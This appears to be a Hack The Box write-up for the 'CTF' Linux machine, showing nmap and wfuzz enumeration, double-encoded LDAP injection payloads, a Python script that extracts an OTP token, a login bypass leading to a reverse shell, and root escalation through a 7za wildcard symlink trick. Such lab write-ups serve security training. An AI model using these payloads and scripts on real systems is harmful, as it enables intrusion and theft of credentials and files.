HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

CTF

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.122 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Fri May 19 07:52:16 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.122
Nmap scan report for 10.10.10.122
Host is up (0.15s latency).
Not shown: 65501 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Fri May 19 07:52:43 2023 -- 1 IP address (1 host up) scanned in 26.70 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.122 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.93 scan initiated Fri May 19 07:53:37 2023 as: nmap -sCV -p22,80 -Pn -n -oN targeted 10.10.10.122
Nmap scan report for 10.10.10.122
Host is up (0.068s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 fdadf7cbdc421e437db3d58bce63b90e (RSA)
|   256 3def345ce5175e06d7a4c886cae2dffb (ECDSA)
|_  256 4c46e2168a14f6f0aa396c9746dbb440 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-title: CTF
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
| http-methods: 
|_  Potentially risky methods: TRACE

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 19 07:53:45 2023 -- 1 IP address (1 host up) scanned in 8.64 seconds

The website shows a message saying that any host that tries to bruteforce the site will be banned.

There is a login page that shows whether the user provided exists or not.

There is a comment in the source code that says that the token string necessary to create OTP codes is 81 long.

If we try to inject some payload, we'll see that nothing will appear. Maybe it is because there are some characters that are not allowed.

Let's try to bruteforce special characters, and see which ones are not accepted by the server. First, check out how to requests are being made.

Now, using the doble-uri-hex.txt dictionary, we'll be able to see which characters are the ones not accepted by the server.

wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/doble-uri-hex.txt -d 'inputUsername=FUZZ&inputOTP=test' http://10.10.10.122/login.php

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.122/login.php
Total requests: 256

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================

000000001:   200        68 L     229 W      2810 Ch     "%2500"                                                                      
000000041:   200        68 L     229 W      2810 Ch     "%2528"                                                                      
000000043:   200        68 L     231 W      2822 Ch     "%252a"                                                                      
000000042:   200        68 L     229 W      2810 Ch     "%2529"                                                                      
000000093:   200        68 L     229 W      2810 Ch     "%255c"                                                                      

Total time: 0
Processed Requests: 256
Filtered Requests: 251
Requests/sec.: 0

These are double URL encoded special characters. Here are the decoded versions.

%2500 -> \0
%2528 -> (
%252a -> *
%2529 -> )
%255c -> \

Exploitation

These characters are commonly used in LDAP servers. We could try to make an LDAP Injection. We can suppose that the LDAP query looks something like this.

(&
	(&
		(inputOTP=1234)
		(inputUsername=admin)
	)
	(&
		()
		()
	)
)

We could try to log in with the username *)))%00, this way we make the query true, and comment the rest of the query.

(&
	(&
		(inputOTP=1234)
		(inputUsername=*)))%00)
	)
	(&
		()
		()
	)
)

Let's intercept a login request with BurpSuite, and send it to the repeater. Then, send the payload as the username. Make sure to double URL encode the payload to make it work.

inputUsername=%252a%2529%2529%2529%2500&inputOTP=test

As we can see above, we get the message Cannot login. Now we know that when we get that message, the query is true. Now we could enumerate usernames from the LDAP server. We need to add each letter of the alphabet at the beginning of the payload. Once we find the first letter, we'll add the second one next to it. The first letter is an l.

wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/char.txt -d 'inputUsername=FUZZ%252a%2529%2529%2529%2500&inputOTP=test' http://10.10.10.122/login.php

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.122/login.php
Total requests: 26

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================

000000012:   200        68 L     231 W      2822 Ch     "l"                                                                          

Total time: 0
Processed Requests: 26
Filtered Requests: 25
Requests/sec.: 0

The second letter is a d.

wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/char.txt -d 'inputUsername=lFUZZ%252a%2529%2529%2529%2500&inputOTP=test' http://10.10.10.122/login.php

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.122/login.php
Total requests: 26

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================

000000004:   200        68 L     231 W      2822 Ch     "d"                                                                          

Total time: 0
Processed Requests: 26
Filtered Requests: 25
Requests/sec.: 0

If we keep doing this over and over again, we'll see that the username is ldapuser, because there are no more letters.

wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/char.txt -d 'inputUsername=ldapuserFUZZ%252a%2529%2529%2529%2500&inputOTP=test' http://10.10.10.122/login.php

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.122/login.php
Total requests: 26

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================


Total time: 1.576919
Processed Requests: 26
Filtered Requests: 26
Requests/sec.: 16.48784
(&
	(&
		(inputOTP=1234)
		(inputUsername=ldapuser)(FUZZ=*)))%00)
	)
	(&
		()
		()
	)
)

There are a bunch of attributes available.

wfuzz -c -t 1 --hw=233 -w LDAP_attributes.txt -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a&inputOTP=test' http://10.10.10.122/login.php

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.122/login.php
Total requests: 27

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================

000000002:   200        68 L     231 W      2822 Ch     "cn"                                                                         
000000004:   200        68 L     231 W      2822 Ch     "commonName"                                                                 
000000013:   200        68 L     231 W      2822 Ch     "mail"                                                                       
000000015:   200        68 L     231 W      2822 Ch     "name"                                                                       
000000020:   200        68 L     231 W      2822 Ch     "pager"                                                                      
000000017:   200        68 L     231 W      2822 Ch     "objectClass"                                                                
000000025:   200        68 L     231 W      2822 Ch     "uid"                                                                        
000000022:   200        68 L     231 W      2822 Ch     "sn"                                                                         
000000024:   200        68 L     231 W      2822 Ch     "surname"                                                                    
000000027:   200        68 L     231 W      2822 Ch     "userPassword"                                                               

Total time: 0
Processed Requests: 27
Filtered Requests: 17
Requests/sec.: 0

The pager attribute looks interesting. It could contain the 81 characters token needed to create OTD codes. We will need to inject the payload ldapuser)(pager=FUZZ*)))%00 as the username.

(&
	(&
		(inputOTP=1234)
		(inputUsername=ldapuser)(pager=a*)))%00)
	)
	(&
		()
		()
	)
)

The first number of the token is a 2.

seq 0 9 > digits

wfuzz -c -t 1 --hw=233 -w digits -d 'inputUsername=ldapuser%2529%2528pager%253dFUZZ%252a&inputOTP=test' http://10.10.10.122/login.php

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.122/login.php
Total requests: 10

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================

000000003:   200        68 L     231 W      2822 Ch     "2"                                                                          

Total time: 0
Processed Requests: 10
Filtered Requests: 9
Requests/sec.: 0

As the token is 81 characters long, i made a python script that automates this whole process.

#!/usr/bin/python3

import requests
from pwn import *
import string

def def_handler(sig, frame):
	print("\n[!] Quiting...\n")
	sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

digits = string.digits
main_url = "http://10.10.10.122/login.php"
proxy = {'http': 'http://localhost:8080'}

def ldapi(query, chars):
	counter = 1
	trigger = 0
	element = ""

	while trigger == 0:
		for char in chars:
			p2.status("%s%s" % (element,char))
			payload = query.split("FUZZ")
		
			data = {
				'inputUsername': payload[0] + element + char + payload[1],
				'inputOTP': 'test'
			}
						
			r = requests.post(main_url, data=data, proxies=proxy)

			if "Cannot" in r.text:
				element += char
				counter += 1
				p2.status(element)
				break
			else:
				if char == chars[-1]:
					p2.status(element)
					trigger = 1
			time.sleep(1)
	
	return element
	

def makeRequest():

	p1 = log.progress("LDAP Injection")
	time.sleep(1)

	global p2
	p2 = log.progress("Token")
	time.sleep(1)

	query = 'ldapuser%29%28pager%3dFUZZ%2a'	
	token = ldapi(query, digits)
	log.info("Token: %s" % token)

	p2.status("Finished")
	

if __name__ == '__main__':
	makeRequest()

Run the script to get the token.

python exploit.py

[...../..] OTP: Finished
[*] OTP: 285449490011357156531651545652335570713167411445727140604172141456711102716717000

Now we can create OTP codes using that token. Make sure to have the same time configured as the server.

stoken --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000 --pin=0000

45657304

Now we have everything needed to log in.

Once logged in, we'll see one field which allows us to execute commands. But if we try to execute any command we'll see an error saying that we must be a member of the root or adm group to issue commands.

This might happen because there is a compararison when we log in. But we could log in with a payload such as ldapuser)))%00, which will comment anything after the username so this restriction doesn't apply.

inputUsername=ldapuser%2529%2529%2529%2500&inputOTP=45657304

This way we can bypass the restriction and run commands in the server.

Time to get a shell. First, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, send a reverse shell using the website to get access to the server as apache.

Listening on 0.0.0.0 4444
Connection received on 10.10.10.122 52220
bash: no job control in this shell
bash-4.2$ whoami
whoami
apache

Privilege Escalation

There is one backup directory in /.

ls -la /

total 44
drwxr-xr-x.  18 root root 4096 Sep 20  2022 .
drwxr-xr-x.  18 root root 4096 Sep 20  2022 ..
drwxr-xr-x.   2 root root 4096 May 19 21:30 backup
lrwxrwxrwx.   1 root root    7 Sep 20  2022 bin -> usr/bin
drwxr-xr-x.   5 root root 4096 Sep 20  2022 boot
drwxr-xr-x.  19 root root 3040 May 19 16:29 dev
drwxr-xr-x.  92 root root 8192 Sep 20  2022 etc
drwxr-xr-x.   3 root root   22 Jul 30  2018 home
lrwxrwxrwx.   1 root root    7 Sep 20  2022 lib -> usr/lib
lrwxrwxrwx.   1 root root    9 Sep 20  2022 lib64 -> usr/lib64
drwxr-xr-x.   2 root root    6 Apr 11  2018 media
drwxr-xr-x.   2 root root    6 Apr 11  2018 mnt
drwxr-xr-x.   3 root root   16 Jul 30  2018 opt
dr-xr-xr-x. 128 root root    0 May 19 16:29 proc
dr-xr-x---.   8 root root 4096 Sep 20  2022 root
drwxr-xr-x.  32 root root  960 May 19 16:29 run
lrwxrwxrwx.   1 root root    8 Sep 20  2022 sbin -> usr/sbin
drwxr-xr-x.   2 root root    6 Apr 11  2018 srv
dr-xr-xr-x.  13 root root    0 May 19 16:29 sys
drwxrwxrwt.  12 root root 4096 May 19 17:52 tmp
drwxr-xr-x.  13 root root 4096 Jul 30  2018 usr
drwxr-xr-x.  21 root root 4096 Jul 30  2018 var

This directory contains a bunch of .zip files, and .log file and a bash script.

ls -la /backup

total 56
drwxr-xr-x.  2 root root 4096 May 19 21:31 .
drwxr-xr-x. 18 root root 4096 Sep 20  2022 ..
-rw-r--r--.  1 root root   32 May 19 21:21 backup.1684524061.zip
-rw-r--r--.  1 root root   32 May 19 21:22 backup.1684524121.zip
-rw-r--r--.  1 root root   32 May 19 21:23 backup.1684524181.zip
-rw-r--r--.  1 root root   32 May 19 21:24 backup.1684524241.zip
-rw-r--r--.  1 root root   32 May 19 21:25 backup.1684524301.zip
-rw-r--r--.  1 root root   32 May 19 21:26 backup.1684524361.zip
-rw-r--r--.  1 root root   32 May 19 21:27 backup.1684524421.zip
-rw-r--r--.  1 root root   32 May 19 21:28 backup.1684524481.zip
-rw-r--r--.  1 root root   32 May 19 21:29 backup.1684524541.zip
-rw-r--r--.  1 root root   32 May 19 21:30 backup.1684524601.zip
-rw-r--r--.  1 root root   32 May 19 21:31 backup.1684524661.zip
-rw-r--r--.  1 root root    0 May 19 21:31 error.log
-rwxr--r--.  1 root root  975 Oct 23  2018 honeypot.sh

The honeypot.sh script contains the following code. As we can see, it is doing a backup ZIP file of the content of /var/www/html/uploads.

cat /backup/honeypot.sh

# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt

# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')

# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f

# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *

# cleaup the honeypot
rm -rf -- *

# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log

There is a way to read the root flag. As we can see it is using the 7za tool with *. We need write permissions in /var/www/html/uploads.

ls -ld /var/www/html/uploads

drwxr-x--x. 2 apache apache 6 Oct 23  2018 /var/www/html/uploads

We can create files. The idea is to create the @test file, and then create a symbolic link from the root flag to the test file.

touch /var/www/html/uploads/@userflag

ln -s -f /home/ldapuser/user.txt /var/www/html/uploads/userflag

touch /var/www/html/uploads/@rootflag

ln -s -f /root/root.txt /var/www/html/uploads/rootflag

Finally, check out the error.log file, and then all we have to do is reap the harvest and take both the user and root flag.

tail -f /backup/error.log

WARNING: No more files
fb220c75acacbedfa7a63f06924e0b5b

WARNING: No more files
d679443b6f2206030fd3a3e7e2cae1a4

We have retrieved the username, but could also get LDAP attributes. I will be using the dictionary from PayloadAllTheThings. We could enter a username like )(FUZZ=*)))%00, to enumerate attributes.

LDAP_attributes.txt